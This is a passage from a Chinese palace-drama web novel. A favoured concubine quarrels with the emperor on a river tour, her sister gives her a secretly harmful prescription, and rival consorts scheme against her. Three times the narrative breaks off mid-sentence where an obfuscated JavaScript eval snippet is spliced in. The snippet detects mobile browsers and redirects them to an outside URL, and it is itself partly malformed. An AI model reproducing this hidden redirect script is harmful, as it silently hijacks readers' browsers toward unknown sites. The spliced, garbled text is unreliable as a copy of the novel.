“扶风姑娘,宝林娘娘如今是双身子,”负责膳食的太监王公公一脸蔑视,高高扬起下巴对着扶风,“底下人也不过是怕耽误了宝林娘娘用膳。如今在船上,多有不便,还请扶风姑娘多多见谅了。” 一番话下来,堵得扶风说也不是不说也不是。 说到底,还是看她家娘娘没有孩子。 可这一等,就等了半个多时辰。 才提着膳食,气冲冲地回到房内。 这还不算什么,等到了晚膳的时候,更是让扶风等了一个时辰。 只要她一催,那王公公就说人手不够,无法供给。 直到豆蔻出现。 “哎哟!这不是豆蔻姑娘吗?何事劳您大驾呢?”王公公正不耐烦应付扶风,抬头就看到了豆蔻。 豆蔻也看到了扶风,虽说二人主子等级不同,但尹宝林怀孕了,在这一点上她就压了扶风一头。 她一脸的倨傲,“王公公,我来取我家娘娘的晚膳。” 王公公笑着拎过来一个食盒,“早已经给宝林娘娘准备好了,豆蔻姑娘您就别上手了,奴才让后面的小太监帮您提了过去,没得让您累了手。” “王公公,我已经等了快一个时辰了,”她收回目光,嘲讽地看着两人,双手环胸而抱,“我家娘娘还在等着。” 扶风到底还是有些长进的,换做之前的性格,怕是已经在膳房里闹起来了。 如今姜舒月的位份越来越高,在弦月宫里倒罢了,出来在外面,她总谨记着千万不能给姜舒月惹麻烦。 王公公也不敢真叫她一直在这等着,只好脸不是脸鼻子不是鼻子的,给她拿了吃食。 “哼!”伸手接了食盒,扶风翻了个大白眼转身就走了。 给王公公气个够呛,“嘿你!” 回到舱房内,扶风委屈地瘪嘴,“娘娘,后面的奴才是越发地过分了。” “奴婢去的时候,根本就没有其他人,偏说要等。那豆蔻一来,屁颠屁颠地就给拿了,活像孝顺自己老子娘一样。” 她嘚吧嘚吧地说个不停,最后明夏轻轻扯了扯她的袖子。 她只好闭上嘴巴,安静地给姜舒月布菜。 姜舒月自己却是没有受到什么影响的,虽然吃的不如在宫里精致,胜在新鲜。 不过她也吃不下多少,抬手让扶风撤了下去。 左看右看也是一副心事重重的样子。 不像之前,还会跟她们开玩笑。 扶风后知后觉地问道:“我怎么瞧着,娘娘兴致不高?” 明夏心说你终于发现了。 于是就把昨天晚上发生的事情说了一遍。 “什么?!娘、”扶风没忍住惊叫,被明夏一把捂住了嘴巴。 “娘娘和陛下闹别扭了?”静玉诧异地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515409|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她。 难怪她今日出去的时候,总有人在背后盯着她。 小方子还在犹豫要不要将自己听到的事情说出来,这会也是没憋住。 “今儿底下都在说,说咱们娘娘昨晚惹了陛下不高兴,要失宠了。”他脸上有一丝凝重。 小路子也皱眉沉吟。 这种事情是他们第一次遇到,之前虽然有刁难,但是大伙都知道陛下心是向着娘娘的,怎么也不会让娘娘吃亏。 这最大的靠山生气了,娘娘还能像以往一样,平安应对吗? 五人都是满面愁容,最后还是明夏先打破沉默。 “这话不要再娘娘面前提起了,免得娘娘听了难过。” 明夏心里也有些埋怨自己,昨晚要是没离得那么远就好了。 起码还能知道两人说了什么。 静玉先回去伺候姜舒月,剩下的四人只能齐齐叹口气。 姜舒月当然不是什么都不知道,她已经想好了怎么应对之后的事情。 只不过现在嘛,就让**先飞一会吧。 “你说的可是真的?”尹宝林刚刚吐完,眼眶微红,“那姜舒月跟陛下吵架了?” 豆蔻笑得幸灾乐祸,“是呢,听说陛下走的时候脸都黑了。” 尹宝林愣了一下,脸上扬起这段时间以来,最真心的一个笑容。 “哼,只是失宠怎么行,”她又放下手里的杯子,“就该把她打入冷宫。” “你再去打听一下,看看她如今是什么样子。” 她期待了太久了,好不容易看到了姜舒月落难,不上去踩一脚,已经是对姜舒月的仁慈了。 而姜婉清这边,也是一大早就得了消息。 “娘娘,您说这姜嫔娘娘,怎么突然就跟陛下吵架了?” 秋霜一边帮姜婉清梳妆,一边问。 之前她们都认为姜舒月会一直受到宠爱,结果也不过两个月的时间,就失宠了? “本宫这庶妹,本宫也对她知之甚少。但看着也不应该是个憨的,再看看情况瞧瞧。” 两个丫鬟应了。 然而在贺云徽一连好几天,都没有再去找过姜舒月之后,姜婉清坐不住了。 按理说,南巡的妃子就这么几个,就算一天见一位,轮也要轮到姜舒月了。 哪怕尹宝林时常作妖,贺云徽也会抽出时间去看她。 唯独没去看姜舒月,这就很说明问题了。 若是姜舒月就此失宠,她少不得还得继续让家中再送姐妹进宫。 可再送进来的,她却没有把握,能像姜舒月这般,可以笼住贺云徽的心了。 第68章 来兴师问罪 “奴才给方娘娘请安。” 方静姝得到消息已经好几天了,奈何上了船之后,身体就有些难受,一脸倦色。 想去安慰姜舒月,又怕她看到自己这样担心,只好在自己的舱房内喝了好几天的药。 觉得自己已经适应了坐船,脸色也好看了些之后,立刻带着若烟去了姜舒月的舱房。 “你家娘娘如何了?我这几日身子有些不爽利,又怕过了病气给她。”她有些担忧地看了眼紧闭的房门。 小路子苦笑了一下。 “多谢方娘娘挂念,娘娘这几天……” 这几天弦月宫的人,在外面已经遭受了太多冷眼。 就连姜舒月本人,情绪也都淡淡的。 “方娘娘待会进去,可要帮奴才们好好劝劝娘娘。” 小路子给方静姝开了门,“娘娘,方娘娘来了。” 姜舒月闻声回头,跟方静姝预想的一样,一眼就看出来了自己不舒服。 “脸色这么难看,该好好休息才是,”她赶紧拉了方静姝坐下,“明夏过来给她看看。” 明夏应道,“方娘娘,您伸出手,奴婢给您把把脉。” 为了不让姜舒月担心,方静姝配合地伸出了手。 “方娘娘这是水土不服,之前应是吃了药了,现下看来已无大碍。”这算是小问题,姜舒月听了也松口气。 “我担心姐姐,”她不好意思地抽回手,心想应该再养一养再来的,“听下面的宫女太监们说,姐姐和陛下……” 姜舒月认真地点点头,“闹别扭了。” “……” 她怔住,“为何?陛下不是……” 不是对姐姐宠爱有加吗? “与陛下无关,是我自己的问题。”姜舒月也不知道她当时在想什么。 总之脑子一抽,再回过神来已经变成这样了。 “陛下这几天,也没有再来过吗?” 姜舒月摇摇头。 其实说起来,这几天倒也没有那么难熬,过得也还算过得清净。 自己位份不算太低,底下的人即便有人克扣也不敢做的太明显。 只是没有了一些特权罢了。 方静姝仔细打量了下姜舒月,见她神色并没有憔悴不堪,心里叹了口气。 心说这帝王的宠爱,果真来得快去得也快。 “你也不必过于担忧,也许陛下很快就不生气了,来看我呢?”她拍了拍方静姝的手,“再说陛下也忙。” 方静姝听了只觉得她是在找借口,来安慰她自己。 不由得露出心疼的表情,“即便忙,陛下也该抽时间来才是,没得让姐姐自己在这独自伤神。” 姜舒月哭笑不得,“这话可不能在外面说,胡乱编排陛下可是大罪。” 方静姝一脸担忧,“妹妹只怕姐姐没了陛下宠爱,往后在宫里的日子艰难。” 这种滋味,她在梦里可是深有体会。 如果可以的话,她当然不希望姜舒月也遭遇一番。 “莫要忧心,”姜舒月捏捏她的脸,“船到桥头自然直,我不会就这样的。” 她看着姜舒月满脸自信的样子,也生出了一丝信心。 “说起来,船行驶了这么久,我还没有出去看过几回,”姜舒月日日在舱房里戴着,骨头都要硬化了,“走吧,陪我出去看看?” “妹妹却之不恭。”方静姝笑着应道。 两人有一搭没一搭地说着话,不一会就到了甲板之上。 凭栏远眺,但见江水浩渺。 浩浩荡荡不见尽头。 天际处,水天相接,白云悠悠。 江风簌簌作响,吹动衣袂飘扬不止。 只是没想到,迎面捧上了陪着兰昭容的贺云徽。 他怀里还抱着三公主宁华。 四个人猝不及防在甲板上遇见。 也不知是谁先回神,说了一句:“见过陛下,兰昭容娘娘,公主殿下。” “嗯。”贺云徽表情很是冷淡,只是抱着宁华公主的手紧了紧。 宁华有些不舒服,扭动了一下。 贺云徽回神,又松了松手。 兰昭容看着两人,一个赛一个的冷淡,心想这两人果然是吵架了。 “几天不见姜妹妹,好似有些清减。”她性格温柔,说话也柔柔地,让人听着就很舒服。 贺云徽闻言也看向姜舒月,也不知是不是姜舒月今天穿的衣服有些宽松,看着确实有些清减了。 是水土不服,还是底下的人又怠慢她了。 他又盯着姜舒月的脸看,但这人却始终没有抬眼看他。 “多谢娘娘关心,”她躬身回道,“大概是船上吃食有些不习惯,过几天就好了。” 兰昭容点点头,“若是不舒服,可不要忍着,一定要召太医看看。” “母妃,宁华前两日也不舒服,”宁华公主却是直接开口,“但是吃了胡太医伯伯的药,就好啦。” “宁华的不舒服,和你姜娘娘的不舒服也许不一样,”兰昭容无奈笑笑,“姜妹妹莫要见怪。” 宁华公主长得可爱,姜舒月自然对这样的小孩没有抵抗力。 一双桃花眼笑得弯了起来,“宁华公主乖巧可爱,嫔妾见了心生欢喜,何来见怪一说。” 听她说喜欢宁华,贺云徽不由得想到了那天替她诊脉后,她趴在自己身上,难过地问自己是不是不会有孩子了。 他抿了抿唇,喉间漫起苦涩。 “那嫔妾同方才人,就不打搅陛下和娘娘雅兴了。”她说着,拉着一边一直没怎么说话的方静姝给两人福了福身。 几乎没有跟贺云徽说过话,转身朝着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516505|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来时的路离去。 贺云徽眸光一闪,脸色黑得像是能滴出墨来。 兰昭容见状,只好说起了别的事情转移了贺云徽的注意力。 又过了一天,“见过婉妃娘娘。” 在门口守门的小方子心里叫苦不迭,这娘娘和陛下一闹别扭,婉妃娘娘转头就来了。 他生怕这位主来找姜舒月麻烦。 “娘娘这会子正在小憩中。”他正要去开门,姜婉清直接略过了他,推门就进入了舱房。 “你倒还有心情看风景。” 姜婉清的声音不咸不淡地在身后响起。 姜舒月不用回头就知道是她。 “不知姐姐过来,有失远迎,请姐姐恕罪。” 她半蹲下来,眼神盯着姜婉清绣鞋上的东珠。 “起来吧。”姜婉清在凳子上坐下,带起了一阵香风。 她指了指另一个凳子,姜舒月顺从地坐下。 姜舒月抬头,“今天日头好,嫔妾就看入神了。” 算是回答了她之前的问题。 姜婉清微微颔首,目光在姜舒月身上打量了一番,并未着急开口说话。 她挥挥手,冬雪福身后,将还想在屋里伺候的静玉一同带了出去。 “静玉姑娘随我来。”冬雪手上力气奇大,拽着静玉的手。 静玉不敢留姜舒月在屋里,迟迟不愿意跟冬雪出去。 直到姜舒月回头看向她,点了点头,她才停止了挣扎,跟冬雪出去。 姜舒月心里明白,姜婉清肯定是因为听到了外面的传言,认为自己和贺云徽吵架而失宠了。 这样姜府送她进来,替姜婉清生孩子的计划就失败了。 这是来兴师问罪,为什么和贺云徽闹别扭? 姜婉清不说话,她也不主动开口,就那么垂眸坐着。 良久,姜婉清终于把目光从姜舒月身上挪开,看向窗外的风景。 舟行江上,微风吹进窗棂,送来一丝丝凉意。 “月儿,你可知你与淑妃之流有何不同?”她慵懒的声音从旁边传来。 “她错就错在自作聪明,妄图用些小把戏来上位。在这后宫之后,最容不得自作聪明之人。” 声音停顿了一瞬,又继续说道,“本宫以为,你应该不是一个蠢人。” 姜舒月听了神色未变,轻声应道:“姐姐教训的是。” 看她又是一副听之任之样子,皱了皱眉,语气又加重了几分,“妹妹容貌出众,当初既能入得陛下青眼,是你的造化。只是后宫之中,恩宠如流水,稍纵即逝。若是你把握不住机会,以后的路,怕是难走。” 见她抬出了恩宠作为诱惑,姜舒月也适时地露出了一副后怕地样子。 姜婉清看她这幅模样,想起来还未进宫前,她这庶妹就是这般的怯懦。 第69章 做戏做全套 想来她说的这番话,姜舒月该是能听明白这其中的深意,但姜婉清也不想将她吓得太厉害。 语气又放缓了一些,继续说着:“如今你进宫已有段时日,可得想明白一些,自己究竟是为何进宫。” “只要你做好好该做的,姐姐自然不会亏待你。” 如果姜婉清知道当日在画轮车上的诊断,会不会无比后悔让姜府送了她进来。 姜舒月站起来,屈膝应道:“嫔妾自是不敢忘记,多谢姐姐提点,嫔妾定当铭记姐姐教诲。” 话题到了这里,空气又安静下来。 “既然你已知晓,那本宫,就静待你改变的样子。” “冬雪。” 几乎是姜婉清话音刚落,冬雪就推门进来,“娘娘。” 她扬了扬下巴,示意冬雪。 “姜嫔娘娘,这是娘娘特意给您寻来的方子,”冬雪从袖口掏出一张方子,递给姜舒月,“是调理身子的,姜嫔娘娘务必每日服用。” 好早日调理好身体,怀上皇嗣。 后面那句话她没说出来,但是姜舒月心里给她补上了。 “多谢姐姐,劳烦姐姐为了嫔妾费神。” 她再次福身谢过,随手将方子递给了静玉。 望着姜婉清款款离去的背影,姜舒月招了明夏过来,看看这方子到底是什么药效。 明夏仔细看了看方子,确实是一方调理身体的药方。 补气养血的好方子。 【宿主,这张方子有问题,不能用。】 123大叫着,它的宿主可不能沾上这个药。 “去吧,照着她方子上的药,去太医那拿药。”姜舒月淡淡地吩咐下去。 “娘娘,您真要喝这药吗?”扶风一问出来,几个人都齐刷刷地看她。 她这才反应过来,她们还不知道李太医给自己把脉的事情。 想了想也没必要告诉他们,徒增烦恼。 【为什么不能用,明夏看了也没问题。】 123把后面的剧情翻出来给姜舒月看。 原来这方子是姜家人特意去寻来的,表面看着补,实际越到后面越会对母体造成不可逆的伤害。 原本也是替原主准备的,但是原主当时命好,只宠幸了几次之后就怀上了。 这药就没拿出来。 没想到姜婉清这时候拿来给自己。 【这药方普通的大夫和医女是看不出来的,所以一旦用药时间长,就坏了身体了。】 【没事,即便是没问题的药方,我也不会用的。】 “我那好姐姐亲自送了过来,不抓药回来证明我喝了,她肯定还会再来。” 做戏做全套,明夏不仅拿了药,还用医房的炉子熬了药带回来的。 “奴婢熬药的时候,前前后后大概有好几个人都看到了,也有上前打听的,奴婢只说是娘娘补身体的。” 没说具体是补什么的,那就看这些人是怎么想的了。 这打听的人当中,就有豆蔻。 不光打听,还暗中跟着明夏去了姜舒月那间舱房附近。 眼看着明夏端着药进去,过了一会隐约听见:“难受、苦……蜜饯……”等几个字眼。 心中笃定姜舒月肯定是因为跟陛下吵架,从而生了病,偷摸喝药呢。 “娘娘,她走了。” 明明进了舱房的明夏,转身从另一处出现,又再次进入了舱房。 从她拿着药回来的时候,就知道身后有人跟着。 跟娘娘说了之后,娘娘特意让她给门开了一条小缝,又让她从另一个窗户溜出去,藏在侧边看,到底是谁在跟着。 “又是她?”姜舒月皱着眉。 虽然她跟尹宝林算不是熟,但是她仅凭一句话,就将自己认定为死对头,是不是有些太过儿戏了。 头脑简单,又喜欢胡思乱想。 加上身边还有一个跟着乱的丫鬟。 这也是为什么,姜舒月很少选择直接跟她对上。 之前换房的事件,也是没了办法。 “最近尹宝林也是处处跟我们作对,只要咱们有什么想要的,她们在后面一准就先过来截胡。” 对于这件事情,扶风可是有深刻体会。 要不是娘娘一直跟她们说,一定离这主仆俩远点,她非得跟对方掰扯一番不可。 “她怀孕了,咱们自当避让一些。”姜舒月把端回来的药,缓缓倒入江中。 “她如今仗着怀孕越发地放肆,早晚会出事,咱们就当提前避险了。” 因为贺云徽南巡,各地的官员闻风而来。 每日都会有大小官员在岸边等候召见。 虽说是南巡,却比在宫中更加繁忙一些。 但福安明显可以感觉到,贺云徽的心情不好。 连带着整个御舫伺候的宫人都战战兢兢的,生怕一不小心就惹怒了贺云徽。 明夏拿着药方去取药,这事不过半个时辰就传到了福安耳朵里。 想着贺云徽对姜舒月的重视,又让福禄去好好打听了一番,姜舒月是因为什么抓的药。 “师傅,徒弟去问过了,医房的太医说姜嫔娘娘是去抓的养身体的药,”福禄前后左右看了眼,压低了声音,“是助孕的。” 福安一愣,又扬起笑,他还想着怎么开口劝陛下,去看看姜嫔娘娘,这下不是瞌睡递枕头了么。 想着他便进入书房。 “陛下,”惊觉自己脸上的笑容太明显了,他又压了压嘴角,“医房那边传来消息,说姜嫔娘娘今日去取了药。” 还未等福安说完,贺云徽就已经站了起来。 只是脚步刚踏出去,又收了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15516506|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来。 福安:??? 就见这位主子,坐了回去拿起笔又批改起来。 可说了是为何?如果福安这时候仔细看的话,就会发现,其实贺云徽根本一个字都没写。 两只耳朵都竖着,在等福安回话。 “太医说,娘娘服用的是调养身体的药,”福安飞快地抬头看了一眼贺云徽,“是有助怀孕的。” 贺云徽手一歪,朱砂笔在奏折上画出了一道长长的痕迹。 “朕知道了,下去吧。”他深吸一口气,继续看起奏折。 福安一脸高兴地进去,一脸迷茫地又出来了。 福禄还以为陛下会去看姜嫔娘娘,可眼下这是? 但是看他师傅那表情,他也猜不出来是怎么回事,只好用眼神示意了一眼。 福安没好气的用拂尘打了他脑袋一下,“好好守着吧。” 好好守着?那就是不去的意思。 难道这姜嫔娘娘就这样失宠了? 师徒二人就这样在门口胡思乱想起来。 贺云徽心里想的,却是那天在甲板上遇到姜舒月的事情。 看着画歪的那一笔,心里越发烦闷。 就连这奏折都看着不顺眼起来。 明明在甲板之上,远远地就听见了她同那方静姝的谈笑声。 自己还特意往她这边走来,却连个眼风都不曾扫来。 明明上船之前,还对着自己撒娇卖痴。 这都已经几天过去了,她连句话都没差人来传过。 莫非她一点都不在乎自己是否失宠? “你说,姜嫔失宠了?”岳容华有些不敢相信。 前几天还在陛下的画轮车上待了一夜,没两天就失宠了? 那她,是不是侍寝的机会就变多了? 自从新人进宫之后,她们这些老人能分到的恩宠少之又少。 这次能跟着来南巡,岳容华自然希望自己能够再入陛下的眼。 “是的娘娘,奴婢从别人那听到,姜嫔娘娘如今都病了,正吃药呢。”洛云小心地替她揉捏肩膀,将自己听来的消息告诉岳容华。 “陛下呢?可有去看她?”岳容华问出了最关键的问题。 这也是洛云正要说的,“按姜嫔受宠的程度来说,这点事情应该早都报到陛下那了,但是一直没听说陛下有去看过她。” 姜舒月第一次生病的时候,贺云徽立马召集了所有太医会诊。 而这次,陛下明知道她生病的情况下,竟然还是无动于衷。 岳容华高兴极了,“就说这眼皮子浅的,得意不了太久。” “可说呢,现在所有人都等着看她笑话呢。” 岳容华冷笑一声,“若是她真失了宠爱,那这辈子也就到头了。” 宫里有的是人想要她的命。 第70章 夫妻间的情趣 “娘娘,”静玉手里端着桂花糕过来,“前头婉妃娘娘说,今日会在岸边稍作停靠,问各宫主子需不需要下船采买物品。” 姜舒月一听来了兴致。 出宫之后除了马车,就是在船上。 她还没真的出去逛过,尤其还是真正意义上的古代。 “要的,”她马上精神起来,招手让静玉替自己更衣,“憋了好几天了,终于可以上陆地走走了。” 坐船的新鲜劲过了之后,她整日不是在舱房中,就是在船坞上溜达。 船再大,拢共也就这点地方。 姜舒月早就腻歪了。 停靠的县城是一个名叫江宁的小城,一下船就能感觉到温度比京都高了一些。 这才五月份就如此之热,到了盛夏时期,怕是跟现代的火炉之城也相差无几了。 江宁本就是个小城,没有出过什么大人物。 这一下子皇帝和妃嫔都出现在这座小城里,几乎一整个城的百姓都聚拢在岸边。 江宁县的县令也早早得了消息,在岸边静候。 到了甲板之上,随性的妃嫔还有怀孕的尹宝林,都在宫人的簇拥下,下了船。 “嫔妾给几位娘娘请安——”她也要下船,碰见了自然需要上前行礼。 姜婉清伸手扶起了她,笑着说道:“还想让秋霜去唤你,你就来了。今日约莫会在此停留一晚,” 说着又指了指后面一排的侍卫,“一会出去,带上几个侍卫,酉时前需得回来。” 姜舒月颔首应是,“姐姐放心,嫔妾省的的。” 几个位份没她高的,也给她见了礼,“无需多礼。” 她回头看到尹宝林,虽然二人不合,但在外,面子上须得过得去。 “这日头毒,好好照顾你家娘娘。” 豆蔻听了心里撇撇嘴,但也不敢对姜舒月不敬,福身应了声是。 姜婉清顺着姜舒月的话,看向尹宝林,对方因孕吐而消瘦的脸庞,再配上她的大眼睛,无端让人看着有些瘆得慌。 “你如今怀孕了,孕吐又如此严重,这小县城三教九流之人不少,若出行,实在令人担忧。” 要是可以,她也不想管尹宝林。 但是没办法,如今她和兰昭容分管六宫,理应要对怀孕的妃子多加关心。 尹宝林僵了僵,有些不高兴,“多谢娘娘关心,妾身每日在船上待着,身子实在不爽利,妾身就在附近逛一逛。” 兰昭容看她状态不算太好,顺着她的话说道:“本宫瞧着这附近也算安全,再往外走可不行。若是不放心,便叫太医守着。” 有了兰昭容这句话,姜婉清也不再纠结,便点点头。 “那便让太医在此处侯着,有任何不舒服,一定要说。”她表情认真,不似作伪。 一时间,尹宝林也有些感动,“多谢娘娘体恤。” 远处,贺云徽也朝着这边走来,看着姜舒月和几人说完话之后,挽着方静姝便离开了。 回头跟福安又叮嘱一遍,“让琼林在暗处护着,别让人碰了伤了。” 他没说是护着谁,但福安作为跟着他一起长大的贴身太监,又怎么会不清楚圣意呢? 看着贺云徽这么不放心的样子,哪里像是要冷落姜嫔,倒像是夫妻间吵架的小情趣了。 原本把姜舒月的位置降低了些的福安,又悄悄将她的位置再次往前调了调。 兼着江宁县大大小小的官吏都来了,贺云徽只能放下心里那点情绪,让福安也准备着,前往县衙中。 但是这出距离内城还有一些距离,码头边上备了几辆马车,旁边还有人在看守。 一看到她们过来,便上前抱拳说道:“陛下有令,命属下跟随姜嫔娘娘。” 她看向其他的妃嫔,每一位都准备了马车和随行的侍卫。 想着可能也是怕出什么问题,便点点头,和方静姝一同上了马车。 皇帝宫妃出行自是声势浩大,皇帝自是不用说。 妃嫔这边,除了姜婉清指派的侍卫以外,加上和马车随行的,前后有十几个人。 一行人就这样浩浩荡荡地坐着马车进入了内城。 和在京都一般,百姓看到御驾出行,全都纷纷跪下行礼。 姜舒月掀开帘子看向外面,虽然只是一个小县城,但是这里百姓却是不少。 道路两边的商铺也应有尽有,看着很是富饶。 “这里倒是不像我认知里的县城,”方静姝在另一边,轻声说道,“百姓瞧着生活很是富足。” 她是第一次到这样的小地方,虽然嘴上不说,但眼神里的好奇是藏不住的。 姜舒月放下帘子,“我瞧着也是,虽然比不上京都那般繁华热闹,相对于平头百姓来说,却也是十分的好了。” 若不是自己穿书到了原主身上,可能找一个像这样的县城待着,也算不错。 自古以来,江南都是丰饶的代名词。 即便不是主要城镇,百姓也可以活得很自在。 “听说这边的河鲜很是有名,一会去酒楼看看,”姜舒月盘算着时间,看看怎么能在有效的时间内,多看看这里的风景,“另外还有家茶肆,说是老板娘很是貌美,每日前去的茶客络绎不绝。” 这都是她刚刚一路过来的时候,找了123查的。 “姐姐做主即可。”方静姝并没有其他想法,只要是出来走走,去哪里都是好的。 陈婕妤和岳容华相约着一起去了城里的首饰铺。 还没等进去,宫人已经先一步过去清场了。 掌柜的没见过这阵仗,和伙计忙前忙后地收拾。 力保让贵人们一进屋子,就对这干净整洁的铺子有个好印象。 兰昭容带着孩子,宁华公主又是个坐不住的性子。 想要找个地方坐一下,也不得安生。 只能由奶娘她们抱着公主,在街道上逛着。 姜婉清不耐烦遇到这些平民,直接让马车行驶到了城内最大的酒楼。 要了最上层的雅间,把宫人们都打发出去采买之后,她带着两个丫鬟,独自坐在里面躲躲清闲。 以前没有管理后宫的时候,总是羡慕宋滢大权在握。 如今分管六宫之后,也没想到,后宫上下每日里竟有那么多事情等待定夺。 一刻也不得闲。 但要让她现在交出管理之权,她却无论如何也是不愿意的。 权利的滋味,一旦尝过之后,就再也放不下了。 “小的千味楼掌柜,见过二位贵人。” 千味楼,是江宁县除醉江月之外,最大的酒楼。 以河鲜烩出名。 姜舒月看了看这座三层楼高的酒楼,外观简洁朴素,又不失雅致。 站在酒楼门口就已经能闻到,里面酒菜散发出来的香气。 掌柜的点头哈腰,将人领到了三楼的雅间。 进入雅间,只觉干净敞亮,清气满室。 檀木圆桌置于正中间,西周配着雕花檀木椅,上面铺有柔软的锦垫。 窗边设有一榻,两边摆放了几个绣工精美的靠枕,淡青色的湘竹恋悬于窗边,随风轻摆。 墙壁上挂着一幅水墨山水图,笔意纵横,尽显山川灵秀。 第71章 还是你最懂我 姜舒月点点头,像是很满意这里的环境。 随后便坐下,开口问起掌柜,“听说你们酒楼最出名的,就是河鲜烩。” 掌柜的是个年过五十左右的男子,身型微丰,面上带着笑,看着一团和气。 又是端茶又是递水的,好不殷勤。 听见姜舒月的话,忙应道:“贵人好眼光,这河鲜烩是用了本县河中鲜鱼、鲜虾、河蟹等食材,以独家秘方烹制。小火慢炖,将河鲜的鲜美尽数熬出,味道那叫一个鲜醇,入口即化。” 她听了点点头,“听起来倒是不错,既如此,劳烦掌柜的再给我们上几道这里的招牌。” 掌柜的拱手应是,退出了雅间去后厨安排。 只要这一次给贵人服侍好了,以后他这酒楼生意,肯定还会更上一层楼。 不多时,伙计就将菜式一一端上。 置于最中间的河鲜烩,河鲜在其中若隐若现,一股鲜香的气味钻入姜舒月的鼻子,不用喝就已经知道这汤汁浓郁; 香酥鸭色泽金黄,表皮泛着诱人的光泽;水晶虾仁颗颗饱满晶莹,宛如白玉;翡翠白玉羹绿白相间,像是翡翠与白玉交融,看着便令人食欲大增。 顿时,满室飘香。 就连几个宫女太监,都忍不住吞了吞口水。 扶风拿起空碗,给姜舒月盛了一碗汤,放在她面前。 姜舒月手持汤匙,轻轻舀起一勺汤,送至唇边轻抿一口。 眼睛一亮,“静姝快尝尝,味道果然十分美味。” 方静姝品尝了之后,果然也是赞不绝口。 特别是里面还加了一些菌类,更添了一丝鲜美。 直到二人用完膳,还意犹未尽。 扶风和若烟拿了干净的帕子,给两位主子净手。 “确实不错,只可惜,明日便要走了。”姜舒月遗憾地摇摇头。 扶风无奈,又端了茶水给她漱口。 看了眼外面的日头,已经到了未时。 结完账之后,上了马车又马不停蹄地朝着那间茶肆过去。 另一边贺云徽在衙门议事,一进去就待了两个时辰。 尹宝林没忍住,又让莲心去去江宁县衙门口等着,一旦贺云徽出来,就马上去请陛下过来一起用膳。 “娘娘,陛下如今还在江宁县衙中议事。” 莲心在县衙门口站了半个小时,都没有见人出来,担心尹宝林等着急了,便想着回来先跟尹宝林回禀。 尹宝林秀眉紧皱,“再去等,等不到陛下你就别回来了。” 莲心听了有些不可置信,豆蔻则轻轻推了她一把。 “还不按照娘娘的吩咐去做?”自从她被罚到外间之后,原本和她平起平坐的豆蔻便高了她一等。 渐渐的,莲心就变成了被压榨的那一方。 无力反抗的莲心只能再次顶着大太阳,去了江宁县衙门口。 好在这次她刚过去不久,就等到了贺云徽从县衙里出来。 她不敢直接拦在贺云徽前面,只能拉住了福明。 “莲心姑娘,可有急事?”福明记得她是尹宝林身边的宫女,这日头出现在这里,福明还以为尹宝林那边出了什么问题。 她已经被晒得有些头晕了,但还记得尹宝林的叮嘱。 “福明公公,我家娘娘想请陛下过去一同用膳。” 福明皱了皱眉,“姑娘稍候片刻。” 他碎步跑到福安公公身边,说了莲心的来意。 福安也皱了皱眉,但还是看在尹宝林怀了孕的份上,跟贺云徽说了这件事。 贺云徽这两日本就心情不好,听见是尹宝林相请,更加不愿意过去。 “朕不去,你去跟她说,想吃什么自去,朕还有事。”贺云徽说完,头也没回地就钻入了马车。 福明也听到了贺云徽的声音,心里叹口气,走回莲心身边。 “莲心姑娘,陛下还有公务在身,便不回去用膳了,烦请转告宝林娘娘。” 看她满脸通红,又有些于心不忍,掏出一颗解暑丸递给她,“日头毒,姑娘小心身体。” 莲心恭敬的双手接过,正欲感谢,福明已经转身离去。 回到了船坞,尹宝林一脸期待地看着莲心,“可有见到陛下?” 她好似没有看到莲心快要中暑的样子,满心只有贺云徽。 “陛下还有公务在身,不回来用膳了。”莲心低着头,手指不安地搅动着 果然,尹宝林听后,当即甩了莲心一个巴掌。 “怎么会!是不是你根本没有见到陛下?!你在骗我?!” 莲心捂着脸,跪在地上,“奴婢不敢欺瞒娘娘,陛下确实还有公务在身。” “为什么,为什么陛下总是不愿意见我?”尹宝林眼泪簌簌地留下,素手捂住了胸口,一副被人辜负了的样子。 “娘娘莫要伤心,”豆蔻安抚她,“陛下说了公务在身,此刻必定还在和这些大人们商议国家大事,并非不愿意见娘娘。” 尹宝林怀孕了犯糊涂,她可没有。 如果不是陛下亲口说的,量莲心也不敢假传圣意。 尹宝林难过地直掉眼泪,“那你说,陛下何时还会再见我?” 豆蔻一下犯了难,但是她脑子转得快,“既然陛下不来,娘娘可以去找陛下呀。您如今怀了孕,陛下必定不会想对莲心那样对您的。” 听了豆蔻的话,她果然冷静下来思考。 见此,豆蔻又加了把火,“娘娘到时候可以做您最拿手的菜,送去给陛下,兴许陛下龙颜大悦,说不定还会奖赏您。” 